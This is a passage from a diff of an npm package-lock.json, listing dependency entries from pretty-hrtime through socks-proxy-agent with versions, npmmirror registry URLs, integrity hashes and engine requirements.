}, + "node_modules/pretty-hrtime": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz", + "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/prismjs": { + "version": "1.29.0", + "resolved": "https://registry.npmmirror.com/prismjs/-/prismjs-1.29.0.tgz", + "integrity": "sha512-Kx/1w86q/epKcmte75LNrEoT+lX8pBpavuAbvJWRXar7Hz8jrtF+e3vY751p0R8H9HdArwaCTNDDzHg/ScJK1Q==", + "engines": { + "node": ">=6" + } + }, + "node_modules/progress": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/promise": { + "version": "7.3.1", + "resolved": "https://registry.npmmirror.com/promise/-/promise-7.3.1.tgz", + "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", + "dependencies": { + "asap": "~2.0.3" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmmirror.com/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "peer": true, + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/proxy-agent": { + "version": "6.3.1", + "resolved": "https://registry.npmmirror.com/proxy-agent/-/proxy-agent-6.3.1.tgz", + "integrity": "sha512-Rb5RVBy1iyqOtNl15Cw/llpeLH8bsb37gM1FUfKQ+Wck6xHlbAhWGUFiTRHtkjqGTA5pSHz6+0hrPW/oECihPQ==", + "dependencies": { + "agent-base": "^7.0.2", + "debug": "^4.3.4", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.2", + "lru-cache": "^7.14.1", + "pac-proxy-agent": "^7.0.1", + "proxy-from-env": "^1.1.0", + "socks-proxy-agent": "^8.0.2" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/proxy-agent/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/proxy-agent/node_modules/lru-cache": { + "version": "7.18.3", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-7.18.3.tgz", + "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", + "engines": { + "node": ">=12" + } + }, + "node_modules/proxy-agent/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" + }, + "node_modules/pug": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/pug/-/pug-3.0.2.tgz", + "integrity": "sha512-bp0I/hiK1D1vChHh6EfDxtndHji55XP/ZJKwsRqrz6lRia6ZC2OZbdAymlxdVFwd1L70ebrVJw4/eZ79skrIaw==", + "dependencies": { + "pug-code-gen": "^3.0.2", + "pug-filters": "^4.0.0", + "pug-lexer": "^5.0.1", + "pug-linker": "^4.0.0", + "pug-load": "^3.0.0", + "pug-parser": "^6.0.0", + "pug-runtime": "^3.0.1", + "pug-strip-comments": "^2.0.0" + } + }, + "node_modules/pug-attrs": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/pug-attrs/-/pug-attrs-3.0.0.tgz", + "integrity": "sha512-azINV9dUtzPMFQktvTXciNAfAuVh/L/JCl0vtPCwvOA21uZrC08K/UnmrL+SXGEVc1FwzjW62+xw5S/uaLj6cA==", + "dependencies": { + "constantinople": "^4.0.1", + "js-stringify": "^1.0.2", + "pug-runtime": "^3.0.0" + } + }, + "node_modules/pug-code-gen": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/pug-code-gen/-/pug-code-gen-3.0.2.tgz", + "integrity": "sha512-nJMhW16MbiGRiyR4miDTQMRWDgKplnHyeLvioEJYbk1RsPI3FuA3saEP8uwnTb2nTJEKBU90NFVWJBk4OU5qyg==", + "dependencies": { + "constantinople": "^4.0.1", + "doctypes": "^1.1.0", + "js-stringify": "^1.0.2", + "pug-attrs": "^3.0.0", + "pug-error": "^2.0.0", + "pug-runtime": "^3.0.0", + "void-elements": "^3.1.0", + "with": "^7.0.0" + } + }, + "node_modules/pug-error": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/pug-error/-/pug-error-2.0.0.tgz", + "integrity": "sha512-sjiUsi9M4RAGHktC1drQfCr5C5eriu24Lfbt4s+7SykztEOwVZtbFk1RRq0tzLxcMxMYTBR+zMQaG07J/btayQ==" + }, + "node_modules/pug-filters": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/pug-filters/-/pug-filters-4.0.0.tgz", + "integrity": "sha512-yeNFtq5Yxmfz0f9z2rMXGw/8/4i1cCFecw/Q7+D0V2DdtII5UvqE12VaZ2AY7ri6o5RNXiweGH79OCq+2RQU4A==", + "dependencies": { + "constantinople": "^4.0.1", + "jstransformer": "1.0.0", + "pug-error": "^2.0.0", + "pug-walk": "^2.0.0", + "resolve": "^1.15.1" + } + }, + "node_modules/pug-lexer": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/pug-lexer/-/pug-lexer-5.0.1.tgz", + "integrity": "sha512-0I6C62+keXlZPZkOJeVam9aBLVP2EnbeDw3An+k0/QlqdwH6rv8284nko14Na7c0TtqtogfWXcRoFE4O4Ff20w==", + "dependencies": { + "character-parser": "^2.2.0", + "is-expression": "^4.0.0", + "pug-error": "^2.0.0" + } + }, + "node_modules/pug-linker": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/pug-linker/-/pug-linker-4.0.0.tgz", + "integrity": "sha512-gjD1yzp0yxbQqnzBAdlhbgoJL5qIFJw78juN1NpTLt/mfPJ5VgC4BvkoD3G23qKzJtIIXBbcCt6FioLSFLOHdw==", + "dependencies": { + "pug-error": "^2.0.0", + "pug-walk": "^2.0.0" + } + }, + "node_modules/pug-load": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/pug-load/-/pug-load-3.0.0.tgz", + "integrity": "sha512-OCjTEnhLWZBvS4zni/WUMjH2YSUosnsmjGBB1An7CsKQarYSWQ0GCVyd4eQPMFJqZ8w9xgs01QdiZXKVjk92EQ==", + "dependencies": { + "object-assign": "^4.1.1", + "pug-walk": "^2.0.0" + } + }, + "node_modules/pug-parser": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/pug-parser/-/pug-parser-6.0.0.tgz", + "integrity": "sha512-ukiYM/9cH6Cml+AOl5kETtM9NR3WulyVP2y4HOU45DyMim1IeP/OOiyEWRr6qk5I5klpsBnbuHpwKmTx6WURnw==", + "dependencies": { + "pug-error": "^2.0.0", + "token-stream": "1.0.0" + } + }, + "node_modules/pug-runtime": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/pug-runtime/-/pug-runtime-3.0.1.tgz", + "integrity": "sha512-L50zbvrQ35TkpHwv0G6aLSuueDRwc/97XdY8kL3tOT0FmhgG7UypU3VztfV/LATAvmUfYi4wNxSajhSAeNN+Kg==" + }, + "node_modules/pug-strip-comments": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/pug-strip-comments/-/pug-strip-comments-2.0.0.tgz", + "integrity": "sha512-zo8DsDpH7eTkPHCXFeAk1xZXJbyoTfdPlNR0bK7rpOMuhBYb0f5qUVCO1xlsitYd3w5FQTK7zpNVKb3rZoUrrQ==", + "dependencies": { + "pug-error": "^2.0.0" + } + }, + "node_modules/pug-walk": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/pug-walk/-/pug-walk-2.0.0.tgz", + "integrity": "sha512-yYELe9Q5q9IQhuvqsZNwA5hfPkMJ8u92bQLIMcsMxf/VADjNtEYptU+inlufAFYcWdHlwNfZOEnOOQrZrcyJCQ==" + }, + "node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/puppeteer": { + "version": "21.11.0", + "resolved": "https://registry.npmmirror.com/puppeteer/-/puppeteer-21.11.0.tgz", + "integrity": "sha512-9jTHuYe22TD3sNxy0nEIzC7ZrlRnDgeX3xPkbS7PnbdwYjl2o/z/YuCrRBwezdKpbTDTJ4VqIggzNyeRcKq3cg==", + "hasInstallScript": true, + "dependencies": { + "@puppeteer/browsers": "1.9.1", + "cosmiconfig": "9.0.0", + "puppeteer-core": "21.11.0" + }, + "bin": { + "puppeteer": "lib/esm/puppeteer/node/cli.js" + }, + "engines": { + "node": ">=16.13.2" + } + }, + "node_modules/puppeteer-core": { + "version": "21.11.0", + "resolved": "https://registry.npmmirror.com/puppeteer-core/-/puppeteer-core-21.11.0.tgz", + "integrity": "sha512-ArbnyA3U5SGHokEvkfWjW+O8hOxV1RSJxOgriX/3A4xZRqixt9ZFHD0yPgZQF05Qj0oAqi8H/7stDorjoHY90Q==", + "dependencies": { + "@puppeteer/browsers": "1.9.1", + "chromium-bidi": "0.5.8", + "cross-fetch": "4.0.0", + "debug": "4.3.4", + "devtools-protocol": "0.0.1232444", + "ws": "8.16.0" + }, + "engines": { + "node": ">=16.13.2" + } + }, + "node_modules/puppeteer-core/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/puppeteer-core/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/qs": { + "version": "6.9.7", + "resolved": "https://registry.npmmirror.com/qs/-/qs-6.9.7.tgz", + "integrity": "sha512-IhMFgUmuNpyRfxA90umL7ByLlgRXu6tIfKPpF5TmcfRLlLCckfP/g3IQmju6jjpu+Hh8rA+2p6A27ZSPOOHdKw==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/queue-tick": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/queue-tick/-/queue-tick-1.0.1.tgz", + "integrity": "sha512-kJt5qhMxoszgU/62PLP1CJytzd2NKetjSRnyuj31fDd3Rlcz3fzlFdFLD1SItunPwyqEOkca6GbV612BWfaBag==" + }, + "node_modules/quicklink": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/quicklink/-/quicklink-2.3.0.tgz", + "integrity": "sha512-FyTanYArl5Gz2/C0ZjErvfFJtem/+d1RM4eK0jiXO6mL4Zjje+xsYtcK3ZtKX2Yb3HSfah5HekWrH2qhttYQjQ==", + "dependencies": { + "route-manifest": "^1.0.0", + "throttles": "^1.0.0" + }, + "peerDependencies": { + "react": "^16.8.0", + "react-dom": "^16.8.0" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/react": { + "version": "16.14.0", + "resolved": "https://registry.npmmirror.com/react/-/react-16.14.0.tgz", + "integrity": "sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==", + "peer": true, + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "16.14.0", + "resolved": "https://registry.npmmirror.com/react-dom/-/react-dom-16.14.0.tgz", + "integrity": "sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==", + "peer": true, + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2", + "scheduler": "^0.19.1" + }, + "peerDependencies": { + "react": "^16.14.0" + } + }, + "node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmmirror.com/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "peer": true + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/recaptcha-v3": { + "version": "1.10.0", + "resolved": "https://registry.npmmirror.com/recaptcha-v3/-/recaptcha-v3-1.10.0.tgz", + "integrity": "sha512-aGTxYSk3FFNKnXeKDbLpgRDRyIHRZNBF5HyaXXAN1Aj4TSyyZvmoAn9CylvpqLV3pYpIQavwc+2rzhNFn5SsLQ==" + }, + "node_modules/regenerator-runtime": { + "version": "0.14.1", + "resolved": "https://registry.npmmirror.com/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz", + "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==" + }, + "node_modules/regexparam": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/regexparam/-/regexparam-1.3.0.tgz", + "integrity": "sha512-6IQpFBv6e5vz1QAqI+V4k8P2e/3gRrqfCJ9FI+O1FLQTO+Uz6RXZEZOPmTJ6hlGj7gkERzY5BRCv09whKP96/g==", + "engines": { + "node": ">=6" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmmirror.com/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve": { + "version": "1.22.8", + "resolved": "https://registry.npmmirror.com/resolve/-/resolve-1.22.8.tgz", + "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==", + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "engines": { + "node": ">=4" + } + }, + "node_modules/rfdc": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/rfdc/-/rfdc-1.3.1.tgz", + "integrity": "sha512-r5a3l5HzYlIC68TpmYKlxWjmOP6wiPJ1vWv2HeLhNsRZMrCkxeqxiHlQ21oXmQ4F3SiryXBHhAD7JZqvOJjFmg==" + }, + "node_modules/route-manifest": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/route-manifest/-/route-manifest-1.0.0.tgz", + "integrity": "sha512-qn0xJr4nnF4caj0erOLLAHYiNyzqhzpUbgDQcEHrmBoG4sWCDLnIXLH7VccNSxe9cWgbP2Kw/OjME+eH3CeRSA==", + "dependencies": { + "regexparam": "^1.3.0" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/sax": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/sax/-/sax-1.3.0.tgz", + "integrity": "sha512-0s+oAmw9zLl1V1cS9BtZN7JAd0cW5e0QH4W3LWEK6a4LaLEA2OTpGYWDY+6XasBLtz6wkm3u1xRw95mRuJ59WA==" + }, + "node_modules/scheduler": { + "version": "0.19.1", + "resolved": "https://registry.npmmirror.com/scheduler/-/scheduler-0.19.1.tgz", + "integrity": "sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA==", + "peer": true, + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1" + } + }, + "node_modules/search-insights": { + "version": "2.13.0", + "resolved": "https://registry.npmmirror.com/search-insights/-/search-insights-2.13.0.tgz", + "integrity": "sha512-Orrsjf9trHHxFRuo9/rzm0KIWmgzE8RMlZMzuhZOJ01Rnz3D0YBAe+V6473t6/H6c7irs6Lt48brULAiRWb3Vw==" + }, + "node_modules/semver": { + "version": "7.6.0", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/send": { + "version": "0.18.0", + "resolved": "https://registry.npmmirror.com/send/-/send-0.18.0.tgz", + "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "node_modules/send/node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmmirror.com/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/send/node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/serve-static": { + "version": "1.15.0", + "resolved": "https://registry.npmmirror.com/serve-static/-/serve-static-1.15.0.tgz", + "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", + "dependencies": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.18.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmmirror.com/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" + }, + "node_modules/sharp": { + "version": "0.33.2", + "resolved": "https://registry.npmmirror.com/sharp/-/sharp-0.33.2.tgz", + "integrity": "sha512-WlYOPyyPDiiM07j/UO+E720ju6gtNtHjEGg5vovUk1Lgxyjm2LFO+37Nt/UI3MMh2l6hxTWQWi7qk3cXJTutcQ==", + "hasInstallScript": true, + "dependencies": { + "color": "^4.2.3", + "detect-libc": "^2.0.2", + "semver": "^7.5.4" + }, + "engines": { + "libvips": ">=8.15.1", + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "optionalDependencies": { + "@img/sharp-darwin-arm64": "0.33.2", + "@img/sharp-darwin-x64": "0.33.2", + "@img/sharp-libvips-darwin-arm64": "1.0.1", + "@img/sharp-libvips-darwin-x64": "1.0.1", + "@img/sharp-libvips-linux-arm": "1.0.1", + "@img/sharp-libvips-linux-arm64": "1.0.1", + "@img/sharp-libvips-linux-s390x": "1.0.1", + "@img/sharp-libvips-linux-x64": "1.0.1", + "@img/sharp-libvips-linuxmusl-arm64": "1.0.1", + "@img/sharp-libvips-linuxmusl-x64": "1.0.1", + "@img/sharp-linux-arm": "0.33.2", + "@img/sharp-linux-arm64": "0.33.2", + "@img/sharp-linux-s390x": "0.33.2", + "@img/sharp-linux-x64": "0.33.2", + "@img/sharp-linuxmusl-arm64": "0.33.2", + "@img/sharp-linuxmusl-x64": "0.33.2", + "@img/sharp-wasm32": "0.33.2", + "@img/sharp-win32-ia32": "0.33.2", + "@img/sharp-win32-x64": "0.33.2" + } + }, + "node_modules/sharp/node_modules/detect-libc": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/detect-libc/-/detect-libc-2.0.2.tgz", + "integrity": "sha512-UX6sGumvvqSaXgdKGUsgZWqcUyIXZ/vZTrlRT/iobiKhGL0zL4d3osHj3uqllWJK+i+sixDS/3COVEOFbupFyw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "engines": { + "node": ">=8" + } + }, + "node_modules/simple-swizzle": { + "version": "0.2.2", + "resolved": "https://registry.npmmirror.com/simple-swizzle/-/simple-swizzle-0.2.2.tgz", + "integrity": "sha512-JA//kQgZtbuY83m+xT+tXJkmJncGMTFT+C+g2h2R9uxkYIrE2yy9sgmcLhCnw57/WSD+Eh3J97FPEDFnbXnDUg==", + "dependencies": { + "is-arrayish": "^0.3.1" + } + }, + "node_modules/smart-buffer": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/smart-buffer/-/smart-buffer-4.2.0.tgz", + "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks": { + "version": "2.8.1", + "resolved": "https://registry.npmmirror.com/socks/-/socks-2.8.1.tgz", + "integrity": "sha512-B6w7tkwNid7ToxjZ08rQMT8M9BJAf8DKx8Ft4NivzH0zBUfd6jldGcisJn/RLgxcX3FPNDdNQCUEMMT79b+oCQ==", + "dependencies": { + "ip-address": "^9.0.5", + "smart-buffer": "^4.2.0" + }, + "engines": { + "node": ">= 10.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks-proxy-agent": { + "version": "8.0.2", + "resolved": "https://registry.npmmirror.com/socks-proxy-agent/-/socks-proxy-agent-8.0.2.tgz", + "integrity": "sha512-8zuqoLv1aP/66PHF5TqwJ7Czm3Yv32urJQHrVyhD7mmA6d61Zv8cIXQYPTWwmg6qlupnPvs/QKDmfa4P/qct2g==", + "dependencies": { + "agent-base": "^7.0.2", + "debug": "^4.3.4", + "socks": "^2.7.1" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/socks-proxy-agent/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/socks-proxy-agent/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": 